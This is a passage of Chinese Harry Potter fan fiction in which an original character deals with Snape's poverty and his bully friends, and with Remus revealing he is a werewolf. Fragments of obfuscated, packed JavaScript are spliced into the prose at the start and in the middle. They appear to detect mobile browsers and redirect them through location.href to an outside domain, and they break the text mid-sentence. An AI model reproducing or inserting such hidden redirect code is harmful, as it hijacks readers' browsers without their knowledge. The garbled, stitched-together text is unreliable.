p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859212|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你这个都写的快没地方了,空白页都没剩几张,还画得乱七八糟……”艾莲娜皱着眉头,翻看着其中一本魔药学课本,里面密密麻麻写满了各种注释和公式,字迹小而凌厉,空白处几乎被填满,甚至页边都画着复杂的图表。“这种品相,真的很难出手,也卖不上价。”她的语气带着点为难,但还算客气。 “这些都是我自己的思考!”斯内普的声音陡然拔高,带着被冒犯的愤怒和急切,“我这本书的价值甚至超过了市面上那些给三年级学生用的!里面的改良步骤和见解……” “唉,孩子,道理是这个道理,但收旧书的人只认品相和年份……”艾莲娜为难地叹了口气,正好瞥见推车回来的埃米洛,像是看到了救星,“埃米洛!你回来了?正好,你来处理一下,这位小先生想卖掉他一年级用过的课本。”她飞快地把那叠旧书推到了刚进门的埃米洛面前,自己则转身去整理刚被埃米洛推进来的新货,显然不想再和这个“难缠”的小顾客打交道。 埃米洛放下推车,目光平静地落在柜台那叠写满字迹的旧书上,又抬起眼,看向对面那个因为激动而脸颊微微泛红、黑眼睛里燃烧着屈辱和倔强火焰的斯内普。 两个人的视线在空中相遇。一个冷漠麻木,仿佛只是见到了一个陌生人;一个气急败坏,像只被踩了尾巴、竖起了全身尖刺的黑猫。 “算了!”斯内普猛地伸手,想要夺回自己的书,声音因极力压抑的愤怒而有些发颤,“我不卖了!把书还给我!” 他的话音还未落,埃米洛已经动作了。他没有理会斯内普伸出的手,而是径直走到柜台后,打开那个用来装零钱的小铁盒,数出了足够在丽痕书店买一本全新一年级魔药学课本的钱,甚至还多出几个银西可。他将那些钱币,平静地推到斯内普面前的柜台上。 金属撞击木台的声音清脆而突兀。 斯内普的动作僵住了。他难以置信地看着那些钱,又猛地抬头盯住埃米洛,那双深不见底的黑眸里瞬间充满了被羞辱的怒火,声音像是从牙缝里挤出来:“你……你在可怜我?” 埃米洛的目光扫过他怀里崭新的二年级课本,再落回那本写满心血的旧魔药书上,语气没有一丝波澜:“……你不是说,它够得上三年级的价值么?我买下了,用来学习一下。”他停顿了一下,仿佛只是在陈述一个客观事实,“我知道你今年魔药学考了年级第一。” 这句话像一剂奇特的安抚剂。斯内普脸上那尖锐的愤怒和屈辱如同潮水般褪去了一些,取而代之的是一种混合着惊愕和被认可的、难以言喻的复杂情绪。他紧绷的肩膀微微放松了些,眼神中的敌意锐减,甚至闪过一丝不易察觉的得意。他沉默了几秒,目光在那堆钱和埃米洛平静的脸上来回扫视,最终,他伸出手,动作有些僵硬地将柜台上的钱币一一收起,揣进了自己洗得发白的旧袍子里。 “我最近……需要用钱,”他声音依旧有些生硬,但不再充满攻击性,甚至带上了一丝微不可查的别扭,“多出来的我会在霍格沃茨特快列车上还你的。” 埃米洛没说什么,只是点了点头,算是知道了。他看着斯内普将那本承载了他一年心血的旧书留在柜台上,抱着新书转身快步离开,那瘦削的背影在对角巷熙攘的人群中显得格外孤单又倔强。 店铺里恢复了安静,只剩下母亲艾莲娜在货架那边小声嘀咕着“这孩子脾气真怪”的声音。埃米洛拿起柜台上那本写满字的旧魔药书,指腹划过那些密密麻麻、带着思考痕迹的字迹。书页散发着一股淡淡的魔药材料和旧纸张混合的气息。刚才斯内普眼中那混合着愤怒、窘迫、不甘,最终又因被认可而稍稍缓解的复杂眼神,清晰地浮现在埃米洛眼前,跟他心里某个深埋着的自己重叠。 一种深沉的疲惫和更深的渴望突然攫住了他。他望着店铺门外车水马龙的对角巷,那些衣着光鲜的巫师,那些无忧无虑奔向新学期的同龄人。手里的旧书沉甸甸的,压着整个暑假的操劳、父亲的沉迷与无耻、母亲的卑微、官员的傲慢、姑姑的刻薄。 他忽然无比清晰地意识到,贫穷之人的不幸,纵使千差万别,内里那份挣扎、那份渴望被看见、那份急于摆脱桎梏的焦灼,竟是如此相似。一股强烈的、几乎要冲破胸膛的冲动在他心底呐喊:我会长大!我会拥有力量!我会……! 5. 三枚银西可 埃米洛暑假的尾声在阁楼闷热的空气和旧羊皮纸的气息中悄然流逝。他将西弗勒斯那本写满批注的旧魔药课本翻了一遍。该说不愧是字如其人,西弗勒斯的字迹凌厉而精准,像一把手术刀,剖开了魔药学的复杂肌理。那些看似孤立的原理——月长石粉的催化惰性、瞌睡豆汁液的挥发性阈值、豪猪刺与特定酸度的剧烈反应——在西弗勒斯的注解下,被一根无形的逻辑之线串联起来。 埃米洛常常在昏黄的灯光下停笔,指腹划过那些密密麻麻的改良公式和危险警告(“逆时针搅拌七圈半,加入风信子汁液两滴——效力提升15%,但操作失误爆炸风险激增”),心头涌起一种近乎敬畏的认同感。这家伙对魔药的理解,简直像呼吸一样自然。 他学的废寝忘食,甚至有几次在梦里梦到了西弗勒斯,他站在讲台上,无视台下学生的畏缩或崇拜。用他那特有的、毫无起伏的语调,精准地剖析每一种材料的本质。 多么高效又多么……令人惊悚的课堂。埃米洛惊醒了,把那个画面甩开。才华是一回事,但西弗勒斯那能把阳光都冻住的阴沉性格当教授?还是算了。为了下一代的心理健康。 九月份,国王十字车站开学的喧嚣如同潮水般涌来。埃米洛独自拖着磨损的行李箱,像一叶孤舟在送行的人潮中穿行。他在车厢走廊看见了詹姆·波特那头标志性的乱发,正想是否该像普通同学那样打个招呼,就见他把大半个身子探出窗外。正对着的站台上站着一对衣着光鲜的夫妇——波特夫人正温柔地替儿子整理衣领,又仔细地把扯乱的领带给他整理整齐。她将一个鼓鼓囊囊、绣着精致暗纹的绒布小袋塞进詹姆手里,声音不大却清晰地飘过来:“……多买些好吃的,亲爱的,和朋友们分享……特别是莱姆斯,那孩子太瘦了……” 后面的话被列车的嘶鸣淹没。埃米洛在他发现之前转过身,拖着箱子走向列车的另一端,他觉得自己那一点微小的羡慕很可悲。 车厢里人满为患,每个包厢都洋溢着团聚的欢笑或告别的叮咛。埃米洛沉默地走过一节又一节车厢,不得不在一间包厢前停下脚步。透过玻璃,他看见了那头熟悉的火焰般红发和旁边那个阴沉的黑发身影——莉莉·伊万斯和西弗勒斯·斯内普。这情景与去年开学时何其相似,只是角色完全对调了。一种荒谬的滑稽感涌上心头。他有些犹豫的抬起手准备敲门,门却“唰”地被拉开了。 “埃米洛!”莉莉惊喜的声音响起,翠绿的眼睛里盛满了真诚的笑意,“快进来!我们这里还有空位!” 她热情地侧身让开。 埃米洛踏入包厢,视线不可避免地对上了西弗勒斯那双深潭般的黑眸。那里面没有欢迎,只有一丝被打扰的阴郁和……不易察觉的审视。埃米洛的目光掠过西弗勒斯膝盖上摊开的那本《高级魔药制作》,书脊用廉价的魔法胶带反复修补过,边缘磨损得厉害。他什么也没说,只是默默地帮他把行李放上架子。那几枚银西可的事,像一块无形的石头悬在两人之间。埃米洛没提——因为他内心确信,那些笔记的价值远超那点钱。西弗勒斯也沉默着,没有掏出硬币的意思。也许是发生了什么,让他没办法实现承诺。毕竟对于囊中羞涩的人来说,每一分钱都带着重量。 埃米洛感觉他们之间一种基于贫穷的、古怪而脆弱的平衡在沉默中建立起来,同时夹杂着一种隶属于金钱的支配感吗。埃米洛感到一丝别扭,却又在内心深处,因为掌握着这微小的、无形的“债权”而滋生出一点隐秘的、连自己都鄙夷的痛快。他知道这很扭曲。 今年轮到他看别人进行分院仪式。埃米洛坐在格兰芬多的长桌旁,目光扫过排着队、紧张不安的一年级新生。他的视线无意中落在对面的小天狼星·布莱克身上。这位素来张扬恣意的室友,此刻显得有些不同寻常。他修长的手指无意识地、近乎焦躁地缠绕着金红相间的领带,深灰色的眼眸盯着前方,眼神有些飘忽,仿佛在等待着什么令人不安的宣判。 “雷古勒斯·布莱克!”麦格教授清晰的声音响彻礼堂。 小天狼星缠绕领带的手指顿住了。埃米洛看着一个与小天狼星极其相似的黑发走上前。分院帽几乎没有犹豫:“斯莱特林!” 绿银相间的长桌爆发出掌声。雷古勒斯·布莱克在走向斯莱特林席位时,脚步微顿,紧张而飞快地朝格兰芬多长桌、特别是小天狼星的方向看了一眼。然而,小天狼星只是面无表情地、甚至刻意地扭开了头,下颌线绷得紧紧的,目光死死盯着面前光洁的桌面,然后状似不经意的搂上了詹姆的肩膀。 也许斯内普那本书真的对他有所助益,开学第三周的魔药课后,斯拉格霍恩教授用他那圆润的嗓音叫住了埃米洛。 “啊,我亲爱的德蒙特!”他搓着胖乎乎的手,眼镜后的眼睛闪烁着精明的光:“斯普劳特教授对你可是赞不绝口啊!她说你照料那些娇贵的草药,手法比七年级生还稳当利落!嗯…我这里正缺个可靠的帮手,每周一、三、五下午,来帮我处理些魔药材料如何?当然,不会让你白干,会有些小小的…嗯…学院加分,以及一周三枚银西可。” 他笑眯眯地看着埃米洛,那笑容里混合着赏识和一种“物尽其用”的意味。埃米洛看着他的眼睛,心里有种古怪的感觉:斯拉格霍恩知道他一定不会拒绝,所以才只开这么多钱。 走出弥漫着奇怪气味的魔药教室,刚拐过弯,莉莉就兴奋地迎了上来,脸颊因为激动而泛红:“埃米洛!你也被斯拉格霍恩教授邀请参加‘鼻涕虫俱乐部’了吗?” “‘鼻涕虫俱乐部’?”埃米洛是真的疑惑。 “是斯拉格霍恩教授组织的私人俱乐部!”莉莉解释道,眼睛亮晶晶的,“听说每个年级他只邀请他觉得有潜力几个学生!啊……难道他找你不是为了这件事么?” 埃米洛语气平淡摇摇头:“没有。我没有被邀请。”他顿了顿,补充道,“教授只是找我…处理一些魔药材料的事情。”他巧妙地避开了“勤工俭学”这个词汇。 “这样啊…”莉莉脸上明显掠过失望和巨大的困惑,“可是…为什么?你和莱姆斯明明是我们年级成绩最好的,还有西弗勒斯,他的魔药那么棒…为什么你们都没被邀请呢?” 她清澈的绿眼睛里满是不解,这种单纯让埃米洛感到了一丝刺痛。 “这就不知道了。”埃米洛简短地回答,移开目光,与莉莉并肩朝图书馆走去。 他的内心却如明镜般透彻:斯拉格霍恩教授筛选的标准其实清晰得残酷——需要漂亮的皮囊装点门面,显赫的家世带来资源和人脉,当然也需要一定的天赋作为点缀。斯拉格霍恩教授或许不要求学生一定出身富贵,但也绝不会认为身穿旧袍子带着空瘪的钱袋的学生有投资价值。 可是莱姆斯呢?埃米洛想到了莱姆斯那苍白的面容,总是带着疲惫的黑眼圈,以及每个月雷打不动、神秘莫测的病假。他眉头不自觉地皱紧,一个模糊却令人不安的猜测浮上心头。 令人意外却又极其合理的是,当他第一次在魔药储藏室昏暗的灯光下,按照约定时间开始处理成筐的带刺草根时,门被推开,走进来的正是同样拎着工具的西弗勒斯·斯内普。两人目光在弥漫着尘埃和草药苦涩气味的空气中短暂相撞,都闪过一丝“怎么又是这家伙”的烦躁,随即又迅速归于一片沉默。没有寒暄,没有对视。西弗勒斯径直走到工作台另一端,拿起银质小刀,开始精准而高效地切割瞌睡豆荚。只有刀锋切割的沙沙声、水流冲洗的哗啦声,以及材料被分类放入不同器皿的轻微碰撞声在狭小的空间里回响。那几枚悬而未决的银西可,仍旧像幽灵般漂浮在两个人之间。 埃米洛觉得西弗勒斯应该也是不想让莉莉知道这件事的,但她还是知道了。这个小太阳一样的女巫总是“很巧的”准时出现在走廊的阴影里,像一株生机勃勃的向日葵一样自然地等着他们,三人一起走向喧闹的礼堂。 这个有些诡异的“三人行”模式很快落入了詹姆·波特的眼中。“叛徒!”詹姆有时会在走廊上故意大声对埃米洛喊,语气夸张,带着少年人特有的、并不认真的挑衅。但埃米洛能感觉到那并非真正的恶意。二年级刚开始他就加入了魁地奇球队。两个人都在宿舍的时候,詹姆会在宿舍里挥舞着胳膊,唾沫横飞地分析战术,眼神状似无意地扫过正在看书的埃米洛。还会再魁地奇比赛前强调这件事,暗戳戳的鼓动他去看。当埃米洛真的出现在人头攒动的魁地奇球场看台上时,他捕捉到了詹姆脸上那飞快闪过、几乎难以察觉的、带着点得意和满足的笑容。这微妙的关系让埃米洛觉得有些好笑,又有些莫名的暖意。 通过莉莉的讲述,埃米洛对西弗勒斯和莉莉有了更深的了解,知道他们两家住的很近,算是“青梅竹马”的关系。 “可是我真的不喜欢他那些‘朋友们’。”莉莉皱着眉:“埃弗里、穆尔塞伯……他们看人的眼神都冷冰冰的,说的话也……很邪恶。” 埃米洛对此深表认同。他在课堂上常与玛丽·麦克唐纳坐在一起。这个有着棕色卷发、性格温和的麻瓜出身女孩,有一张圆乎乎的可爱脸庞和小狗一样的下垂眼。不知为何成了斯莱特林某些人挑衅格兰芬多的固定的靶子。 恶咒烧焦的发梢、课桌里突然冒出的丑陋生物、走路时被故意伸出的脚绊倒……玛丽总是承受着无休止的、看似“无伤大雅”却充满恶意的骚扰。 埃米洛明白:因为玛丽是格兰芬多里他们“最惹得起”的人。没有强大的家族背景,性格不算强硬,天赋也不好。这个世界的法则就是如此赤裸——弱肉强食。至于西弗勒斯为何要主动与那些施暴者为伍,甚至成为他们中的一员,他也不能理解。 一次变形课后,埃米洛和莉莉、玛丽一起走向格兰芬多塔楼。他们正讨论着麦格教授布置的复杂论文,突然,头顶传来一阵恶意的嗤笑!紧接着,一桶冰冷、粘稠、散发着刺鼻腥臭的液体——正是昨天他们在魔药课上费力处理剩下的青蛙粘液——兜头浇下! “啊——!”玛丽的尖叫充满了惊恐和痛苦。粘液瞬间浸透了她的头发、袍子,顺着脸颊往下淌。埃米洛反应极快地向后一闪,但肩膀和头发还是被溅上了不少,立刻传来火辣辣的刺痛感。 他猛地抬头,只捕捉到走廊高处两个飞速逃离的背影——穆尔塞伯标志性的獠牙项链和埃弗里那头油腻的金发在拐角一闪而过,伴随着压抑不住的、得逞的狂笑。 “又是你们!”莉莉愤怒的朝上大喊。她猛地抽出魔杖,完全不在意“走廊不能随意施展咒语”的规定还有埃米洛的阻拦追了上去。 “别动!”埃米洛强忍着肩头的灼痛,迅速脱下自己的外袍,不由分说地裹住玛丽瑟瑟发抖、沾满恶心粘液的身体。 “试着…试着清理一下…”玛丽的声音带着哭腔,脸上混杂着粘液和泪水,她惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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门在莉莉身后关上,留下死一般的寂静。埃米洛走到自己的工作台前,拿起工具,开始沉默地处理一盆滑腻恶心的鼻涕虫。西弗勒斯也回到他的位置,拿起银刀,用力地切割着某种坚硬的根茎。刀锋落在砧板上的“笃笃”声格外响亮。 这令人窒息的僵硬持续了很久。终于,埃米洛停下了手中的动作,他没有抬头,声音不高: “为什么?” 西弗勒斯切割的动作停顿了一瞬,随即发出一声短促而冰冷的嗤笑。“为什么?”他重复道,语气里充满了讽刺,“你不理解?你不懂?” “我不理解。”埃米洛打断了他的话,猛地抬起头,目光锐利如刀,毫不躲闪的迎上西弗勒斯那双深不见底的黑眸:“我理解你的贫穷,理解想要站稳脚跟!但我绝不理解提供武器给欺凌者,去伤害一个无辜的、比你更弱小的人的想法!麦克唐纳招惹谁了?!她有什么错?!” 西弗勒斯被这直白的质问钉在原地,苍白的脸上肌肉微微抽搐。他避开埃米洛的目光,再次低下头,狠狠地切着根茎,仿佛那是仇人的骨头。沉默再次降临,比之前更加厚重,充满了未爆发的火药味。 就在埃米洛以为这场对话将再次以沉默告终时,西弗勒斯的声音响了起来,低沉而压抑,像是从喉咙深处挤出来的: “我需要他们。”他手中的刀停了,却没有抬头,“我需要埃弗里、穆尔塞伯…需要他们带我‘融入’斯莱特林。混血…在那里,”他艰难地吐出这个词,带着屈辱,“就像阴沟里的老鼠。没有‘圈子’,没有‘靠山’,你连呼吸都是错的。他们会把你撕碎,用你想象不到的方式。” 这一瞬间,埃米洛再一次被一道闪电击中!德蒙特先生那张带着酒气、总在牌桌上输钱后涨红的脸清晰地浮现在眼前——“儿子,你不懂!我需要那些人脉!需要那些‘朋友’!没有他们,我们家那个破铺子在对角巷一天都混不下去!” 多么相似的借口,多么相似的绝望!可最终的结果呢?是变本加厉的索取、无休止的嘲讽和尊严被踩在脚下! “他们只会把你当奴隶!”埃米洛的声音陡然拔高,带着一种近乎残忍的直白,毫不留情地撕开了那层自欺欺人的遮羞布,“他们并不会真的当朋友!你以为依附豺狼就能获得庇护?你只会被同化,或者被吞噬!最终变得和他们一样!这就是你想要的‘融入’?!” “我当然知道!” 西弗勒斯猛地抬起头,像一头被逼到绝境的困兽,歇斯底里地吼了出来!“我当然知道他们是什么东西!你以为我是瞎子吗?!但是——”他胸膛剧烈起伏,声音因激动而扭曲变形,“我就是需要!需要这份肮脏的通行证!” 他喘着粗气,死死盯着埃米洛,仿佛要用目光在对方身上烧出洞来。过了许久,那疯狂的眼神才稍稍褪去,取而代之的是一种极致的冰冷和嘲讽,嘴角勾起一个扭曲的弧度: “呵…德蒙特。你不要觉得你现在站在这里,用这种自以为清醒、高高在上的眼神看着我,就真的超脱了。”他每一个字都像淬了毒的冰棱,“你以为贫穷、卑微、挣扎…这些是什么?是能让你保持清白的勋章吗?” 他逼近一步,声音压得更低,却更具穿透力,“这不过是一条必经的、肮脏的路!你现在不选,只是因为还没被逼到我的墙角!别急着审判我,但愿你永远没有理解我的机会。” 最后一句话,他说得极慢,带着一种预言般的诅咒和冰冷的嘲弄,重重砸在弥漫着药草苦涩气味的空气里,也砸在埃米洛骤然紧缩的心上。 6. 一袋金加隆 埃米洛和西弗勒斯之间原本就稀薄的空气,现在彻底凝固成了西伯利亚的寒冰。之后的魔药处理时间,沉默不再是默契的专注,而是带着刻意的回避和冰冷的敌意。 莉莉虽然也和西弗勒斯吵了一架,但她在注意到两个人的冷战后反而犹豫了一下,开始促成他们和好。 “嘿,你们两个!”莉莉在又一次三人(主要是她和埃米洛说话,西弗勒斯沉默)走向礼堂时,努力用轻快的语调打破僵局,“这周五下午,图书馆靠窗那个安静角落,我们一起复习魔咒学怎么样?弗立维教授下周要测验呢!” 埃米洛和西弗勒斯几乎是同时侧目看了莉莉一眼,又飞快地移开视线看向彼此的方向,眼神在空中碰撞了一下,立刻像触电般弹开。 “我没问题。”埃米洛先开口。他知道莉莉是好意。 西弗勒斯只是从鼻子里发出一声意义不明的轻哼,算是默认。莉莉脸上绽开笑容,仿佛看到了和解的曙光。 然而,周五下午的图书馆角落,气氛比魔药储藏室更糟。莉莉努力抛出问题,试图引发讨论:“你们觉得这个咒语的关键是意念集中还是魔力流转的精确控制?” 埃米洛翻着书页,头也不抬的念着上课记得笔记:“精准控制是基础,意念是引导。” 西弗勒斯则冷冷地接了一句,目光盯着羊皮纸:“意念不足的蠢货,再精准的控制也只会让羽毛原地打转。” 这话像是回答莉莉,又像在影射什么。 莉莉的笑容僵在脸上,知道这次和解计划是失败了。最后连路过的玛丽都看不下去了,劝她放弃,他们俩之间的冷气连最耐寒的雪地苍蝇都能冻僵!她这么形容到。 詹姆·波特自然也注意到了变化。“哈!”他刚从魁地奇训练回来,头发被风吹得更加狂放,脸上带着运动后的红晕和毫不掩饰的幸灾乐祸,“我就说!我就说那个鼻涕精不是什么好人!” 他得意地拍着小天狼星的肩膀,仿佛验证了某个伟大的真理。 小天狼星·布莱克正坐在他旁边,漫不经心地拨弄着盘子里的食物,他的视线每隔几秒就会不受控制地飘向礼堂另一端,斯莱特林长桌的方向。雷古勒斯·布莱克正被一群纯血统的斯莱特林学生簇拥着,他举止得体,脸上带着一种埃米洛觉得过于成熟的、融入其中的微笑,回应着周围人的谈话。小天狼星的眉头无意识地蹙紧,手指烦躁地敲击着。他或许自以为掩饰得很好,但那紧绷的下颌线和偶尔流露出的、几乎难以察觉的阴郁,还是让人很快意识到了他心情不好。 “最近没什么有意思的事情吗?”小天狼星突然开口,声音带着一丝刻意的慵懒,努力把视线从斯莱特林长桌拽回来,投向詹姆。他需要转移注意力。 “有啊!”詹姆立刻来了精神,变戏法似的从床底拖出一个包裹精美的盒子,“我妈寄来的!蜂蜜公爵新出的限量版滋滋蜜蜂糖夹心饼干!独门配方!” 他炫耀地打开盒子,浓郁的甜香瞬间弥漫开来。他大方地分发给彼得、小天狼星,甚至也扔给了(冷战?)中的埃米洛一块。唯独在莉莉走进礼堂的时候,他故意把盒子举高,大声问彼得:“彼得,还要不要?管够!” 眼睛却瞟着莉莉的方向,带着明显的挑衅和“快看我”的期待。 莉莉的脚步没有丝毫停顿,甚至连眼角的余光都没分给詹姆和他那盒诱人的饼干。她径直坐到玛丽旁边,红发像火焰般甩过。詹姆脸上的得意瞬间垮掉,变成了懊恼和不解。“她……她没看见?”他小声嘟囔,有点泄气地坐回座位,抓起一块饼干狠狠咬了一口。 自从听说了莉莉独自对抗埃弗里和穆尔塞伯为玛丽出头的事,他在宿舍念叨“伊万斯”这个名字的频率就高得离谱,内容极其矛盾——“她一个人?”、“假的吧。”、“好吧,她应该先告诉别人,太鲁莽了不是吗?”、“我没关心她!毕竟她还和鼻涕精混在一起不是吗?”、“下次碰到那些臭蛇看我不……” ——标准的“口嫌体正直”。 “你这么闲,”小天狼星吞下饼干,懒洋洋地翘起二郎腿,似乎对好朋友的注意力被女生吸引了有所不满。他继续敲着桌子,他灰色的眼睛忽然闪过一丝狡黠的光芒,压低声音,身体前倾,带着一种分享惊天秘密的兴奋,“你们不觉得莱姆斯……有秘密么?” 埃米洛的手指下意识地捏紧了书脊。莱姆斯今天又“生病”了,不在宿舍。 “那是莱姆斯自己的事!”他脱口而出,声音比他自己预想的更大。等反应过来时已经晚了,话像石头一样砸在地上。他迎上小天狼星和詹姆骤然变得锐利和充满探究的目光,感到一阵懊恼。他们肯定更好奇了!谁都可以有秘密,可让这两个唯恐天下不乱、好奇心比巨怪还重的家伙去深挖这件事!等于所有人都会知道! “关你什么事哟,”小天狼星慢悠悠地拖长了调子,嘴角勾起一个极具讽刺意味的弧度,灰色的眼睛戏谑地刺向埃米洛,“就算要制止,也轮不到你吧?该是莱姆斯自己开口,或者……”他故意停顿了一下,和詹姆交换了一个心照不宣的眼神,那眼神里充满了熟悉的、让埃米洛头皮发麻的兴奋和恶作剧的光芒,“……我们自己去弄清楚?” 詹姆立刻默契地凑近,脸上是同样的、准备大干一场的表情。 两人一击掌,相视而笑。 埃米洛的心沉到了谷底。他无法阻止他们。整个晚上,他听着詹姆和小天狼星在公共休息室角落里“大声密谋”着跟踪计划,彼得在旁边既害怕又兴奋地附和着细节。那声音像苍蝇一样嗡嗡作响,搅得他心烦意乱。思虑再三,在撕下一小片羊皮纸,用最简洁的、不带任何个人倾向的笔迹写道: “詹姆和布莱克计划下个月你‘病假’时跟踪你。” 他将纸条小心翼翼地夹进了莱姆斯那本厚厚的《魔法史重大事件》笔记里。 风暴的降临比他预想的更快。几天后的晚上,当埃米洛抱着几本从图书馆借来的书回到宿舍时,一股不同寻常的低气压扑面而来。源头正是小天狼星和莱姆斯。 小天狼星以一种极度放松的姿态躺在自己床上,双臂枕在脑后,一条腿屈着,脚尖有一下没一下地晃着,眼睛盯着四柱床的帷帐顶,脸上是一副满不在乎的表情。但埃米洛一眼就看到了他紧锁的眉头和绷紧的下颌线——那是他烦躁和极力掩饰某种情绪的标志。 莱姆斯则坐在对面的床上,背脊挺得笔直,脸色是病愈后惯有的苍白,但那双总是温和甚至有些怯懦的眼睛,此刻却死死地盯着小天狼星,里面翻涌着埃米洛从未见过的复杂情绪:愤怒、失望、受伤,还有一丝……恐惧?他的双手紧紧攥着身下格兰芬多红色的被面,指关节因为用力而发白。 詹姆坐在两人中间的地毯上,姿势有些僵硬,他正试图用轻松的语气打圆场:“……嘿,伙计们,这没什么大不了的,对吧?我们就是……呃……有点好奇……” 他的话显得苍白无力。彼得则缩在自己的床角,抱着膝盖,小眼睛在宿舍里滴溜溜地转着,紧张地观察着每个人的脸色,尤其是莱姆斯和小天狼星,大气都不敢出。 埃米洛放下沉重的书包,空气仿佛凝固成了水泥。他无心掺和进去,转身就要往洗手间走。 就在他手搭上门把手的瞬间,莱姆斯像是终于下定了某种破釜沉舟的决心。他猛地吸了一口气。 “我是狼人。” 轰!埃米洛感觉全身的血液瞬间涌向头顶,又在下一秒冻结成冰!一股原始的、冰冷的恐惧攫住了他,让他几乎无法呼吸。狼人!活生生的、月圆之夜会变形的狼人!就睡在离他几步之遥的床上!课本上那些无数可怕的画面瞬间涌入脑海:尖牙、利爪、腥臭的气息、被撕裂的喉咙……万一!万一哪个月圆之夜,他忘记离开,或者在宿舍里突然提前变形了怎么办?!这个念头像毒蛇一样缠绕上来。 但几乎是立刻,强大的理智强行压倒了恐惧。老师们不会让这种事发生的!他对自己说,心脏还在狂跳,但思绪已经开始运转。邓布利多教授、麦格教授……他们肯定知道!他们一定有万全的安排!否则绝不会让莱姆斯住在普通宿舍!莱姆斯每次“病假”都按时离开,回来时疲惫不堪……所有线索瞬间串联起来,印证了他的理智判断。恐惧仍在,但被强行控制住了。 就在埃米洛头脑里正进行着激烈的风暴时,宿舍里已经炸开了锅。 “什么?!” 詹姆·波特第一个跳了起来,他脸上的震惊迅速被一种难以置信的、近乎狂热的兴奋取代,蓝色的眼睛瞪得溜圆,“狼人?!梅林的臭袜子啊!这太酷了!老兄!” 他冲过去,用力拍了一下莱姆斯的肩膀,仿佛对方不是危险的黑暗生物,而是得到了一个超酷的玩具。 小天狼星也从床上坐直了身体,脸上那副刻意装出的“无所谓”面具彻底碎裂,取而代之的是一种混合着惊愕和……释然?他嗤笑一声,嘴角扯出一个复杂的弧度,灰色的眼睛锐利地看向莱姆斯:“就这?” 他的语气带着一种“原来如此,害我们猜了半天”的古怪轻松感,“我还以为你偷偷加入了什么黑巫师组织呢!没事儿,莱姆斯,不就是每个月出去嚎两嗓子嘛!” 彼得·佩迪鲁明显被吓得不轻,脸色比莱姆斯还白,但看到詹姆和小天狼星的反应,他立刻像找到了主心骨,小鸡啄米似的点头,声音发颤地附和:“对,对!没事的,莱姆斯……没事的……太……太厉害了……” 他努力想挤出一个笑容,却比哭还难看。 风暴的中心——莱姆斯,看着眼前三个朋友(尤其是詹姆和小天狼星)的反应,眼中的愤怒、失望和恐惧像潮水般褪去,取而代之的是一种巨大的、难以置信的茫然,随即是如释重负的虚脱感,紧握被子的手也松开了。他苍白的脸上甚至浮现出一丝羞涩的红晕。 “你……你们……” 他一时语塞,似乎还没从坦白后的冲击和朋友们过于“热情”的反应中缓过神来。 “太酷了!”詹姆还在兴奋地转圈,“变身后是不是力大无穷?能跑多快?嗅觉是不是超灵敏?……” 小天狼星则更关心别的:“你每个月去哪里?别告诉我你一个人在林子里乱窜!” 莱姆斯定了定神,声音还有些不稳,但已经平静了很多:“有……有老师带我去一个安全的地方。在尖叫棚屋……从打人柳下面的通道进去……只需要按一下树干上的结疤,柳条就不会攻击了……” “打人柳?!”詹姆的眼睛瞬间亮得像探照灯,“太酷了!那棵会打人的树!我一直想近距离看看!我们能进去吗?” “应……应该可以吧?”莱姆斯看着詹姆兴奋的样子,有些犹豫,但更多的是被接纳后的感动和一丝分享秘密的冲动,“下次……下次我‘走’的时候,如果你们真的想……我可以带你们认认路?但绝对要小心,不能被发现!” “一言为定!”詹姆和小天狼星异口同声,彼得也赶紧点头。 他们围着莱姆斯,兴奋地讨论着尖叫棚屋、打人柳、狼人的习性(詹姆的问题常常让莱姆斯哭笑不得),宿舍里充满了劫后余生般的、热烈的气氛。过了好一会儿,他们才猛地想起宿舍里还有一个人。 “嘿,埃米洛!”詹姆转过头,脸上还带着兴奋的红晕,“你听到了吧?莱姆斯是狼人!酷毙了,是不是?” 所有人的目光,包括莱姆斯带着一丝忐忑和期待的眼神,都聚焦到了站在洗手间门口的埃米洛身上。 埃米洛已经彻底冷静下来。他甚至有些神奇的看着这一切。——为莱姆斯终于卸下重担而松一口气,为他拥有这样……奇特的朋友们感到一丝荒谬的安心。于此同时,他的内心再次开始挣扎,友谊的边界线又出现了就划在那里,只要他迈出那一步…… 他迎上莱姆斯的目光,语气前所未有的郑重: “我也不会说出去的。” 他平静道:“确实,这有什么。” --- 霍格沃茨特快中,詹姆和小天狼星眉飞色舞地向埃米洛描绘着他们在尖叫棚屋的“探险”,即使他们已经说过很多次了。莱姆斯有些紧张的看着窗外,有些担忧有人会推门而入(即使这里已经坐满了)。 “阿尼玛格斯?”埃米洛不确定地问道。 “是啊!”詹姆猛地一拍大腿:“还是小天狼星想到的绝妙主意!书上说了,狼人对动物没有攻击性!只要我们变成动物,就能安全地陪莱姆斯一起度过满月了!” 莱姆斯的脸颊瞬间飞红,尴尬?感动?他低下头,手指无意识地绞着长袍的衣角:“詹姆……小天狼星……你们……这太冒险了……” “怎么能说冒险呢?这才够劲!”詹姆的眼睛里闪烁着挑战的光芒和一种近乎狂热的决心::“总比让你一个人受苦强。而且,想想看,一宿舍的阿尼玛格斯组合!多酷!” 埃米洛有些犹豫,理智告诉他非魔法部严厉禁止私自联系阿尼玛格斯,因为过程凶险异常,无数巫师在尝试中永久变形或丧命! 但同时,另一个声音在他心底响起,这不需要金钱,不是吗?零成本。是的,不需要昂贵的魔药材料,不需要稀有的魔法物品,只需要……坚持、意志力,以及一点运气。而且真的很酷,几乎没有一个格兰芬多能拒绝。 内心的天平剧烈摇晃着:“我……”埃米洛深吸一口气,看向窗外飞逝的田野,“我再考虑一下,这太重大了……需要跟我父母说说。” 詹姆立马拍胸脯告诉他他会写信帮他一起说服他的父母。小天狼星露出了一个“果然如此”的眼神,他始终对埃米洛有偏见,埃米洛猜测是因为他在一年级时和詹姆的冷战,但他们并没有为此冲突过,怎么对付这种少爷?无视呗。 --- 